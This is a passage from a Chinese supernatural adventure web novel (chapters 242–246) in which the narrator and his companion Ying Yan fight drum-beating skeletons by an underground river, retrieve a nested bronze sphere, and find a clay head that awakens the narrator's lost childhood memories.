月牙皮和别的皮革最大的区别就是,经过硝制的皮子,只有月牙皮的表面,会出现半月形状的纹理。用月牙皮做出来的鼓,就是月牙鼓。 月牙鼓的确是我们白八门传统的法器之一,白八门的法器基本都骗阴邪,在白八门刚刚出现时,月牙鼓是引路人用的,保证在死者停灵以及出殡的过程中,不会被什么神神鬼鬼的东西所影响。 月牙鼓的制作手段也不是什么隐秘,一直到现在为止,白八门一些家族仍然会制作月牙鼓。从白八门出现以来,月牙鼓的数量没有八百也有一千。 然而,在所有的月牙鼓里,只有两面月牙鼓,能被称为黄泉鼓。据说,那是祖师爷早年间四处闯荡时,击杀了一具得道的老尸,然后从这具老尸的前后心取下的月牙皮做成的。 黄泉鼓的来历究竟是不是和传说一样,我不太清楚,但白八门历代相传,黄泉鼓是祖师爷手持的法器,拿着黄泉鼓,就能把人的魂魄引上黄泉路。 第242章 难以抗衡 我以前只听说过月牙鼓,也没有深入研究过,因为两面正宗的黄泉鼓,据说是给祖师爷的衣冠冢陪葬了,从那以后,只有黄泉鼓的传闻,谁都没见过真正的黄泉鼓。 此时此刻,我的紧张之中,还有一丝莫名的期待和兴奋,这段河道出现了祖师爷用过的东西,那就说明,肯定具备探索的价值。 “老弟!”鹰眼这时候真的有点急了,忍不住出声喊道:“你是不是个扫把星!我们以前来这儿,站在河岸上什么事都没有,你一来,黄泉鼓这种东西都出来了!” “稳住神,先不要慌,看看再说。” “稳个球!还怎么稳!你不知道黄泉鼓的厉害?” 鹰眼肯定也没见过黄泉鼓,只是听过一些传闻,等木箱子里的绿毛白骨带着黄泉鼓出现之后,他顿时就察觉到了黄泉鼓的威慑。 黄泉鼓的鼓声很不寻常,它虽然不像别的法器一样,一响起来就能蛊惑人的心神,但黄泉鼓的鼓声却能无形中不断消耗人的阳火。 人的身躯就是阴阳相济,如果阳火太弱,体质极阴的话,身躯里的魂魄就很难容身,稍有意外,魂魄肯定会脱体而出。 我一下子就明白了,为什么听到黄泉鼓的鼓声,就会觉得浑身发冷。 “那还等什么!”我分辨出这其中的利害关系,立刻就冲着鹰眼喊道:“把这两个绿毛白骨给打散,黄泉鼓要是不响,就没什么大事。” “一人对付一个!现在都死到临头了,你千万别偷奸耍滑!” 我和鹰眼一人一边,就想趁着身体里的阳火还没有被耗尽的时候,赶紧把两个绿毛白骨给搞定。鹰眼这时候也的确拼尽全力,在那边周旋了一会儿,一抬手,把一张黄符贴到了绿毛白骨的身上。 黄符一沾身,立刻嘭的一声,爆出一团耀眼的蓝光,但是这团蓝光只闪了一下,随后就彻底的熄灭。 鹰眼身上乱七八糟的东西很多,之前在行进的路上虽然也遇上了麻烦,但总归还是有机会能扭转局面,所以鹰眼一直都保留着实力,眼下的形势不一样了,两个绿毛白骨虽然死的透透的,可它们手里的黄泉鼓,却像是一道催命符,一下子就把我们给逼到了无路可走的境地。 鹰眼也不藏私了,双手唰唰的来回闪动,和猴子摘桃子一样,不断的丢出去一些专门克制阴邪的东西。 我觉得,这两个绿毛白骨应该是被加持过,面对鹰眼那些法宝,丝毫都没有惧意。就这么纠缠了两三分钟,黄泉鼓的声音一直没停,那种从脚底板凉到头顶的感觉越来越浓重,我下意识的伸手摸了摸,觉得自己的头发上,似乎也结出了一层薄薄的冰霜。 鹰眼身上的东西都不管用,现在只能硬拼了,我们俩一人手握着一把刀子,想把两个绿毛白骨直接给打散。 绿毛白骨虽然一直在动,但动作肯定没有我们灵活,我和鹰眼一人对付一个,在它们身前身后来回绕了几圈。这么一试探,我就大概察觉出来了,两个绿毛白骨除了能晃动手里的黄泉鼓,也看不到有什么别的本事。 但是,透过白骨身躯外面那一层厚厚的绿毛,能看到它们的骨头闪烁着一种仿佛金属般的光泽,这就意味着,绿毛白骨的骨头非常结实,如果没有什么趁手的家伙,不太好把它们给打散。 咚咚…… 我这边僵持了片刻,黄泉鼓的声音就越来越密集,鹰眼毕竟上了岁数,身上的阳火没有我那么旺盛,在黄泉鼓的鼓声不断的消耗下,鹰眼整个人渐渐的就被冰霜给包裹了起来。 他彻底的急眼了,在另一个绿毛白骨的身前身后纠缠了片刻,瞅准时机,手中的刀噗的一下,直接捅到了绿毛白骨的胸口。 鹰眼手里的刀非常锋利,就算砍不断骨头,只要把骨头的关节给撬断,绿毛白骨的行动能力就会大打折扣。 这一刀捅下去容易,可是,等鹰眼想要收回刀子的时候,刀锋似乎是被卡住了,他用力一抖,白骨胸前的一丛绿毛唰的一下被震落下来,紧跟着,我就看到白骨胸前,是一颗人的头骨,鹰眼手中的刀锋,像是被头骨给咬住了。 在这电光火石的一瞬间,绿毛白骨的左手朝着鹰眼挥了一下,鹰眼的经验虽然很丰富,但眼前的变数是他没有预料到的,双方的距离太近了,鹰眼被迫松开握着刀柄的手,终究还是慢了那么一点,脸颊被绿毛白骨的指尖给挂了一下。 他的脸颊上留下了一道浅浅的血痕,伤口不算深,应该没什么大的问题。但鹰眼后退的时候有点仓促,一下子撞到了身后的石壁上,绿毛白骨跟着就逼近了过来。 鹰眼这个老东西给我留下的印象不好,只不过现在两个人的命都是绑在一块儿的,我不能见死不救。情况紧急,完全就没有思考的余地,我一转身,疾奔了几步,一脚朝逼近鹰眼的绿毛白骨踹了过去。 这一脚的力道十足,绿毛白骨虽然没有被踹散架,但是直接被踹到了身后的暗河里。暗河现在就是一潭死水,绿毛白骨的身躯沉甸甸的,落到水里之后,挣扎了几下,就慢慢的沉了下去。 咚咚…… 就在我帮着鹰眼解围的同时,原本缠着我的那个绿毛白骨手中的黄泉鼓陡然间爆响起来,密集的鼓声就好像点燃了一串鞭炮,我本来就已经受了点影响,当这一串鼓声落到耳朵里的那一瞬间,我整个人仿佛落到了一个冰窖里,手脚都被冻住了。 这种感觉相当要命,我有一身力气,还有五行天眼,但这时候似乎全都用不上了。 我还有意识,只是身躯真的是迟滞了,我能看见自己的双手一下子就蒙上了一层薄薄的冰,正想拼命挣脱,黄泉鼓又重重的响了一声。 我能感觉自己额头上已经愈合的伤口,似乎又裂开了一样,整个人仿佛顿时变的轻飘飘的,唰的一下就飘到了半空。 第243章 情形未知 这一瞬间,我立刻意识到,自己的魂魄还是没能承受住如此沉重的压力,最终脱体飞出了。 魂魄出窍是什么样的感受,我还是糊里糊涂的,丢魂是一件很可怕的事情,普通人的魂魄如果离体了,要是没人引导或者帮扶,就不可能重新回归到体内。 这种神神鬼鬼的事情依然是我的软肋,不过,因为有五行天眼的原因,我还是比普通人强的多,即便魂魄已经飘上了半空,还是能够感应到下方的情景。 河岸上的绿毛白骨,应该没有察觉到我还在上空飘荡,它已经盯住了鹰眼,鹰眼的脸庞被挂了一下,只有很浅的一道伤痕,可是,他却像是被耗尽了精气神一样,贴着石壁踉跄的躲闪,似乎已经没有还手之力。 我还是不想让鹰眼在这儿死掉,他现在死了,对我其实不利。然而,我的魂魄已经被黄泉鼓给震了出来,现在想要帮忙,也力不从心。 我正在全力的想办法,就感觉魂魄轻飘飘的,似乎有些不受控制,要朝更远的地方飘过去。如此一来,我就慌神了,这个地方荒的鸟不拉屎,如果控制不住自己的魂魄,飘到了远处,时间一久,肯定会有很大的麻烦。 我使劲的想要朝着地面靠拢,与此同时,我还能感应到自己的身躯,正直挺挺的站在河岸边。身躯没了魂魄,就是行尸走肉,不会有任何自主的反应,要是下头那个绿毛白骨把身躯给撞到河里,那不啻于一场灭顶之灾。 就在这一刻,我突然就感应到,自己留在下面的身躯,闪起了一点很微弱的光,那一点光芒是从额头上闪现的,如果再仔细的感应一番,就会察觉到额头上似乎张开了一只眼睛。 那只眼睛,正好就在人体的魂魄平时出入的祖窍上,我虽然以前没有接触过这些,但察觉那只睁开的眼睛时,魂魄立刻像是感应到了一种极强的吸力,唰的一下子,顺着那只张开的眼睛重新回归到了身躯中。 魂魄回归的非常及时,我晃了晃脑袋,转头一看,鹰眼已经被逼到了六七米之外,黄泉鼓的鼓声还是咚咚响个不停,我估摸着鹰眼身上的阳火已经快要熄灭了,完全坚持不住。 仓促之间,我也来不及再细想,飞身冲了过去,凌空一脚。绿毛白骨的反应比较慢,在如此强势且快捷的攻击之下,无法避开,这一脚直接就把它给踹的东倒西歪。 河岸并不平坦,绿毛白骨倒地之后,骨碌骨碌的滚动了几下,直接就滚落到了暗河里。暗河的水依然是迟滞的,绿毛白骨落水之后,也渐渐的沉了下去。 周围顿时就安静了下来,黄泉鼓的声音彻底的断绝了,我松了口气,上去看了看鹰眼。 鹰眼的状态不是很好,这么大岁数的人了,阳火一弱,整个人就显得无精打采的。 “你怎么样?” “死不了……那两个鬼玩意儿总算是打到水里去了,老弟,时间不等人啊……你赶紧看看,河里头究竟有什么东西……” 我站在岸边,不管怎么聚精会神的用五行天眼去感应,却始终只能看到一团很模糊的黑影。水里肯定有东西,却不知道是什么。 此时此刻,我的内心深处就感觉不太妙,五行天眼在一般情况下是不会出什么大问题的,除非是有特殊情况,才会受到阻滞。 毫无疑问,这条暗河里的东西,不是凡物,如果真要下水的话,可能会有风险。 然而,要是不下水去看看,就不可能知道究竟有什么,我眼巴巴的跟着鹰眼跑这么远,就是为了看看水里的东西,要是空手而归,我肯定不情愿。 现在鹰眼成了这个样子,也只能我亲自下水去看看。但是刚才那两个绿毛白骨给我留下了心理阴影,它们落水之后就再没有浮上来,我心里不踏实,还是想要再等等。 没有了黄泉鼓的干扰,鹰眼身上那一层薄薄的冰霜很快就退去了,但这老家伙就好像霜打的茄子,蔫蔫的没有一点精神,半死不活的靠着身后的石壁。 我过去看了看,他脸上的伤估计没什么问题,身上也没有受伤,休息一阵子,大概可以慢慢的恢复过来。 “老弟,全靠你了……这次咱们可不能白跑一趟啊,老弟,你下去看看,先把情况弄清楚……我在这儿缓缓神儿,等缓过来,就下水给你帮忙……” “你就在这儿歇着吧,顺便盯着入口那边的情况,要是真有了什么麻烦……”我顺手拿起岸边的绳索,绑在腰间,说道:“真有麻烦,你就甩甩绳子,给我报个信。” 我和鹰眼在岸边又等了差不多二十分钟左右,暗河里的河水已经开始重新流动了,不过流速还是特别慢,我咬了咬牙,顺着绳子慢慢的下水。 暗河的河水冰凉冰凉的,人一下去就觉得像是掉进了冰窖,我深吸了一口气,一个猛子扎了下去。 等一下水,根据水流的细微变化,我就感觉这条暗河其实很深,看着河道不算宽,但深度至少有十几米。 我下潜了两三米,就潜不下去了,无奈之下,我只能重新上岸,捡了一块几十斤的石头,抱在怀里重新下水。这一次下潜的深度比上次深了一些,可是,五行天眼还是无法观测到水下的具体情景。 经过了三四次试探,我终于知道,就这样直接下去,可能还是没什么结果,要想把情况彻底弄明白,就要一步一步来。 我这边忙活了十来分钟,又重新做了些准备,等到再次要下水时,回头看了看鹰眼。 这一看不要紧,我发现之前一直靠着石壁半死不活的鹰眼,不知道什么时候背对着我,蹲在石壁的跟前,那样子,好像是在聚精会神的观察着什么。 我一直都没有听到什么异样的动静,但是,鹰眼像是发现了什么似的,立刻就引起了我的注意。 “你在看什么呢?” 我走到鹰眼身后,问了一句,但鹰眼也不答话,还是面朝着石壁。 “说话啊,你怎么了?” 我又问了一句,鹰眼还是不吭声,我立刻意识到,情况不对。 我还没来得及再问第三句,鹰眼慢慢的回过头,这一刹那间,我的脑袋立刻就大了一圈,感觉牙根子都在发痒。 第244章 见鬼漩涡 我看见鹰眼的脸上,布满了一丛绿毛。绿毛应该是从他脸颊上那道很浅的伤口长出来的,就像是一大团绿色的真菌,把半张脸都给遮住了。 刚才鹰眼的精神就很萎靡,这时候更加一蹶不振,看起来呆头呆脑的,仿佛对自己脸上长出的那些绿毛浑然不知。 我感觉一阵头大,鹰眼脸上长出的绿毛要是没毒,倒还好说,反正这地方也没有别的人,要是绿毛有毒,情况就很棘手了,我肯定救不了他。 我又仔细的看了看,鹰眼伤口周围的皮肤,呈浅绿色,不过整个人的状态看起来并不像是中毒,只是精神不好,而且,他的目光和平时也不太一样。 鹰眼这样的老油条,眼神里就透出一股犀利,仿佛能把别人从头到脚给看穿,可现在,鹰眼的目光有些浑浊,再也看不出一丝光彩。 “你怎么样?脸上有啥感觉没?” 我这句话问完,鹰眼有了一点反应,他应该没有完全失去神智,最起码还能听到我的话。 但是,鹰眼的反应非常迟钝,我拉了他一把,觉得鹰眼现在似乎连站都站不稳了。 我试着把他脸上那丛绿毛揪下来一撮,这些绿毛好像连着皮肉带着筋,稍一用力,鹰眼就龇牙咧嘴,我不知道硬把绿毛拔下来会不会有什么严重后果,这时候只能暂时先停手。 鹰眼现在的状况,打乱了我的计划,我本来是准备继续对河道下方的河水进行探索的,现在鹰眼半死不活的,我得想办法先保证他没有什么意外。 “你要是能听到我说话,就先坐下来缓一缓,不用急,等能说话的时候,把自己的情况跟我说一说,看看有没有办法缓解一下。你也不用担心,脸上长了点绿毛,不会致命的。” 鹰眼微微抬头,看了我一眼,他估计是能听到我的话,只是傻愣愣的不知道回答,一时间,我也很迷茫,搞不清楚他现在的状况究竟如何。 鹰眼看了看我,又转过头,盯着不远处的暗河,因为光线的原因,暗河那边非常暗淡,水下的情景完全是看不到的,我用五行天眼都看不透,鹰眼肯定也看不透。 但他一个劲儿的盯着暗河的水面,不动弹也不说话,那样子让我怎么看都感觉不太对劲。 这时候,我心里就有点发毛了,鹰眼现在长出一脸绿毛,完全就是因为之前那两个绿毛白骨造成的,绿毛白骨被我打下了水,始终没有再出现,现在鹰眼老是盯着河面,我也不知道这里面是不是有什么蹊跷。 我忍不住也转头朝着河面望去,暗河的水流一直很平缓,甚至从我这个位置观察的话,几乎都感觉不到河水在流动。 就在我盯着河面看了最多一分钟的时候,我发现平缓的水面上似乎出现了一个像是磨盘大小的漩涡,漩涡不是太明显,从暗河的下游缓缓的移动到了距离这边很近的地方。 这个漩涡出现的非常突然,而且非常的诡异,我一发现漩涡,立刻把手电调转了一下方向,直直的照了过去,当手电的光柱完全对准漩涡时,漩涡好像一瞬间就消失了。 我还没弄明白是怎么回事,余光一瞥,就感觉漩涡又在几米之外的地方出现。 这个见鬼的漩涡,好像和人一样,具备感应能力,它似乎知道我在注视它,所以一下子就隐藏起来。 这漩涡到底是什么东西?我下意识的就认为,这肯定不是那种普通的漩涡。 突然间,我身后的鹰眼好像一下子炸锅了,从地上爬起来,拽着我刚才固定好的一条绳子,不顾一切的直接冲了过来。鹰眼一直都是焉了吧唧的状态,我丝毫都没有防备他会突然暴起,等我回过神,匆忙中拉了一把,却只抓住了鹰眼的一只衣袖。 鹰眼毫不停滞,他冲的很猛,惯性也大,我已经尽了全力,两个人一撕扯,鹰眼的衣袖立刻刺啦一声被扯烂了,紧跟着,鹰眼拽着绳子噗通一声,就跃入了河中。 我的心头一紧,鹰眼突然跳到河里,是他发现了什么?还是受到了影响? 我来不及再做多余的思考,鹰眼一跳到河里,立刻就沉到了水下。我估计,鹰眼即便真的发现了什么,也不可能就这样直接跳下去。 换句话说,他应该是受到了影响。 我还是不愿意让鹰眼死在这儿,他带着绳子跳河,绳子是固定在河岸上的,我直接抓着绳子,使劲的朝上拽。水里的浮力大,鹰眼本身也不胖,我觉得应该很轻松就可以把他拽上来。 可是,这条绳子的另一端沉甸甸的,分量很重,显然,这不是鹰眼的体重,我不断的加力,却还是无法把他给拽到河岸上。 事情到了这一步,就很让我疑惑了,我不想让鹰眼死掉,但实际情况完全脱出了自己猜测的范畴,我不敢确定,这里面是不是有什么预料不到的危险。 我抓着绳子,不断的试探,绳子的另一端完全没入了水中,五行天眼看不透这片漆黑的水面,而且绳子那边的分量一直都很重,就这样来回试探了好几次,我心里越来越不踏实,鹰眼要是一直不出来,就算水里什么危险都没有,他也得活活的淹死。 大概过了快两分钟,我看到水面冒出一团小小的水花,紧跟着,鹰眼就从水下浮了起来。 幸亏暗河的水流慢,鹰眼没有被冲走,他虽然浮上来的,但是呆下去的绳子却没在手里,我顺手一拉,绳子的另一端依然沉甸甸的。 我立刻又丢了另一条绳子下去,鹰眼脑子还不算进水,绳子丢下去,他随即就伸手死死的抓住。 我把鹰眼给拉上来,老家伙浑身上下都被河水给浸透了,一上来就瑟瑟发抖,伤口上长出来的绿毛也全都贴到了脸上,那模样看着有点滑稽,又有点诡异。 “你刚才跳下去干什么?” 鹰眼面对我的问题,还是不做回答,立刻缩着脖子蹲到了地上。他突然变成这样子,我一点办法都没有。 绳子的另一端,一定有什么东西,而且根据刚才的情况来看,鹰眼跳下水,就是为了让我知道水里有东西。 我已经暗中估算过了,加上水的浮力,水里的东西还是沉重的无以复加,那东西肯定体积不小。 第245章 青铜球 我不知道,水里的东西到底算是一条线索,还是一个陷阱,鹰眼此时此刻就好像没事人一样,蹲在那边低着头发呆,问他什么,都一言不发。 这不由自主的让我想起了鹰眼那几个在暗河这边出了事的手下,那几个人都保住了命,但是痴痴傻傻的,提供不了任何有用的信息。鹰眼现在的状况,跟那几个人差不多,我就很疑惑,他这么精明的人,究竟是受了什么影响,才会变成这样。 然而,眼前的线索是不能放弃的,我本来就想要知道,暗河的水下到底是什么东西,放弃了这条线索,可能会让人扼腕叹息。 我来到鹰眼身前,他没有任何的反应,为了防止他再胡乱的跑来跑去,造成什么严重的后果,我就用一条绳子绑在他腰上,然后固定到河岸边。 等安置好了鹰眼,我开始把河里的东西朝上面拉,东西很沉,不过我的力气暂时还算够用。硬拉了大概能有三四分钟,水里的东西终于在河面露头了。 我看到那好像是一个球体,有两个洗脸盆那么大,球体是镂空的,绳子的另一端从镂空之间的缝隙穿了两圈,绑的很结实。 手电映照过去的时候,我察觉到,这个球体很可能是青铜之类的玩意儿,因为青铜生锈之后的锈迹有明显的特征。 我对文物之类的东西不是很在行,不过我也知道,从两汉以后,青铜器的铸造范围就很小了,青铜器具逐渐被铁器所取代。 但是,只有一种人,还是很热衷使用青铜器,就是古代的术士。因为他们固执的认为,青铜这种古老的金属拥有一种神性,用青铜铸造出来的法器法物,会比别的材质做出来的好用。 这个青铜球被拉出水面以后,就更加沉重,应该有三百多四百斤的样子,青铜球虽然是镂空的,但暂时看不到里面是不是有东西。 三四百斤的东西对我来说也不算太困难,我稳住心神,一点一点的发力,又借助河岸边一些遗留下来的工具,终于慢慢的把青铜球给拖上了岸。 我观察的没错,这果然是青铜铸造的,而且,这个青铜球的精密程度,远超我的想象。 最外面的一层球体里,还有第二层镂空的青铜,甚至在第二层青铜里面,还存在第三层第四层,就因为青铜球分了内外好几层,所以透过镂空处,还是无法观察到最里面的情景。 我仔细的感应了一下,这个青铜球没有什么危险的气息,但是,五行天眼在这个青铜球跟前完全失去了作用。 这足以说明,这个不知道年代的青铜球,不是普通的东西。 青铜球仿佛像是一块磁铁,把我的好奇心完全给勾动了起来,我很想知道,青铜球的内部究竟是空心的,还是有什么物品。 我开始研究这个球,青铜球的最外面一层布满了铜锈,我觉得里面的几层球体,很可能也都锈死了,然而,我用刀子试探着撬动里面的球体时,发现第二层球体是可以转动的。 虽然转动的很困难,但只要细心一点,就可以把第二层球体镂空的部分和外面这层球体重合。 我看到了一点希望,赶紧就着手去实施,随着观察的深入,我又发现,第三层,第四层的球体,都可以慢慢的转动。如果没有什么意外的话,几层球体镂空的部分都重合到一起,大概就可以顺着镂空的孔洞,观测到最内部的情况。 但是,等我真正去做的时候,就感觉难度很大,没有合适的工具,加上转动球体需要角度和力度,到了第四层球体之后,里面的部分就触碰不到了。 我不肯死心,又钻研了一番,随后,我就发现青铜球不是浑然一体的,把最外面的锈迹清除掉之后,就能看到一条缝隙。这就意味着,青铜球是两个半圆组合到一起的。 我用刀子撬动缝隙,渐渐的就把第一层球体完全的给分开了。 第二层球体同样是两个半圆组合而成,只要找到了窍门,球体就可以完整的分开。 我不停的把一层一层的球体给分开,如果我没记错的话,已经分开了八层。 第九层的球体只比篮球大那么一点,这个球体没有镂空的花纹,也不可能看到里面的东西。 让我感觉很诧异的是,这个比篮球大一些的青铜球,保存的非常完好,完好的有点不正常,在这种环境下,而且经过了漫长的时间,青铜是不可能不生锈的,然而,这个球体就像是刚刚铸造出来的一样,表面光滑如镜,散发着一种黄灿灿的金属光泽。 我费了很大的功夫,才在这颗青铜球上面找到了一条很细很细的缝隙,我感觉这应该就是最后一层了,只要打开它,就能知道里面到底有什么。 “你……你要打开它?” 就在这时候,一直沉默不语的鹰眼突然在身后说了一句,我回头一看,他腰里还是绑着绳子,保持着原来的姿势。 但我能察觉出,鹰眼的眼神虽然还是有点浑浊,却不像刚才那样呆滞。 “好不容易把这颗球打开了几层,难道不继续打开看看,里面是什么东西?” “有些东西……可能不看也罢。” “怎么?你知道这里头是什么?” “我不知道。” 鹰眼说完这几句话,就又低下头不出声了,他现在这个样子,和平时的区别太大,而且还有点神神道道的,让我感觉不踏实。 我扭头朝四周看了看,周围还是很寂静,从入口那边到这里,只有一条路,应该没有外人靠近。 青铜球就在眼前,如果不打开,我会很不甘心,前思后想了一会儿,我还是用刀子的刀锋,插到了青铜球那条很细的缝隙里。 刀锋一碰到那条缝隙,严丝合缝的青铜球就突然裂开了。 第246章 记忆断续 我没想到青铜球会这么轻易就打开,在球体裂开的同时,我看到里面是一颗人头。 我心里一惊,但随即,我就分辨出来这不是一颗真的人头,而是用陶土烧制出来的。 青铜球里的人头和真的人头大小差不多,烧的黑不溜秋的,人头上面,有一圈一圈暗红色的纹络。 我不知道这颗用陶土烧出来的人头为什么会严严实实的放在青铜球里面,正打算认真的看一看,突然间,陶土烧制的人头,猛的颤动了一下,紧跟着,人头的额头上面,唰的睁开了一只眼睛。 那只眼睛是竖眼,和我额头上的五行天眼在同一个位置,我被这突如其来的变故吓了一跳,不知道为什么,我的手也跟着在发抖,手里的陶土人头应声落地,咔嚓一下就碎裂成了一堆碎片。 就在这短短的瞬息之间,我的脑袋好像也跟着要裂开了一样,那种崩裂般的疼痛顿时弥漫到了全身上下,我的眼前一黑,噗通一声摔倒在地。 我很清醒,但是眼睛好像睁不开了,脑子里乱糟糟的,记忆的阀门像是被彻底打开了一样,一大堆乱七八糟的记忆碎片,一下子蜂拥出来。 人的记忆虽然非常繁复,但只要相关的记忆浮现在脑海里,就大概能回想起一些具体的情景。 我觉得自己的记性还是很好的,可此时此刻浮上脑海的那些记忆,对我来说似乎非常的陌生。 很快,那些乱七八糟的情景似乎都消失了,记忆里只剩下一条弯弯曲曲的小路,小路上,站着一个人。 看上去,那是个大概十来岁的小女孩,身上的穿着很普通。不过,这个女孩长的很清秀,她站在小路上朝我这边望过来,两只水汪汪的大眼睛,一瞬间就氤氲起了泪光。 但是,女孩最后还是强忍着没有哭,相反,她全力挤出了一个笑容,那意思,似乎是在对我说她很好,她没事。 我看到那个女孩笑起来的时候,露出了一颗小虎牙。 这一瞬间,我潜意识里的一些记忆,顿时也蜂拥了出来。小女孩虽然看着只有十来岁,但我能判断出她长大之后的样子。 我认识她,她就是那个照相的姑娘。 那个照相的姑娘是什么来历,我一直都不清楚,我对她的印象虽然深刻,却从来没有多想过什么。因为在我人生的前半段,从来都没见过她,只是被卷到这个事件之后,才意外的知道了有这么个人。 然而,此时记忆里所闪现的片刻,完全推翻了我的观点。如果我以前没有见过她,就不可能在记忆里凭空的想象出她十来岁的时候是什么样子。 这意味着什么? 这意味着,在她十来岁的时候,我就见过她,而且,很可能还认识她。 这到底是怎么回事?我的脑子越来越乱,在我刚刚见到那个照相的姑娘时,我就有种很怪异的感觉,我觉得自己认识她,而且,跟她还很熟悉。 可是,我当时无法从记忆中寻找到关于她的任何信息,所以就只能认为,那种熟悉感是我自己凭空想出来的。 到了这时候,我敢断定,我一定认识她,只不过,有些记忆似乎从我的脑海中被抹去了。 这个女孩的身影,渐渐的有点模糊,她突然转过身,顺着小路朝后面跑去,跑着跑着,小路的尽头,就出现了一个小村子。 我认得出来,那个小村子,就是我童年时居住的地方。 我以前一直觉得,自己生活的小村就是个很普通的地方,没有任何的出奇之处,连我自己都不清楚,小村在我记忆的最深处,留下了如此深刻的印象。 我突然就意识到,我的记忆似乎真的缺失了一段,而缺失的那一段记忆里,一定有很重要的线索和信息。 我全力的想要继续的回忆下去,看看到底是怎么回事,但我猛然听到了噗通一声,紧跟着,又想起了一阵咔嚓咔嚓的声音。 我使劲的睁开眼睛,眼前昏昏沉沉的,我突然看到,鹰眼不知道什么时候挣脱了身上的绳子,直接扑到了我的面前。他正手忙脚乱的把地上的碎陶片给拢到一块儿,然后朝怀里塞。 “你……你想干什么……” 我的脑袋还是很疼,只要轻轻一动,就感觉脑仁要从颅腔里被甩飞一样,鹰眼对我的话充耳不闻,还是飞快的捡着地上的陶片,然后塞到自己的怀里。 我已经有了一定的判断,我之所以能突然回想起一些似乎被淡忘的记忆,完全就是因为这颗黑陶的脑袋被摔碎了,无数的碎陶片,就仿佛是湮灭在我脑海中的零碎的记忆,但现在鹰眼把这些碎片都给收走,就让我被迫停止了回想。 “你先放手……”我翻了个身,想要阻拦鹰眼,但是脑袋沉重的像是有一千斤,一翻身就重新趴了下来。 如果不是知道鹰眼的底细,我肯定会认为他是专门来搞破坏的,鹰眼似乎听不到我说话,很快就把所有的碎陶片都收拢到了自己的怀里。 “放手!”我心里一急,挣扎着朝前爬动,一把就抓住了鹰眼的脚脖子。 鹰眼这时候就好像一个偷东西的贼,突然被人给抓住了,他明显有点心虚,也有点慌乱,使劲抬起脚,把我的手甩脱,跟着朝前猛跑了两步,纵身一跃。 这一次,鹰眼又和中邪了似的,直接跳到了暗河里。我在地上趴了至少有好几分钟,这才攒足了力气,爬了起来。 鹰眼已经无影无踪了,我不知道他是沉到了水下,还是游到了下游。这个老家伙的举动让我琢磨不透,就是他刚才下水找到了青铜球,才让我把青铜球给打捞起来,然后从里面开出来那颗土陶的人头。可人头被我找到以后,鹰眼又横插一脚,把碎片全给弄走了。 脚底下全都是刚才被分开的青铜球的镂空外壳,这颗青铜球,一定是很多很多年前的东西了,这就更加坚定了我的信心。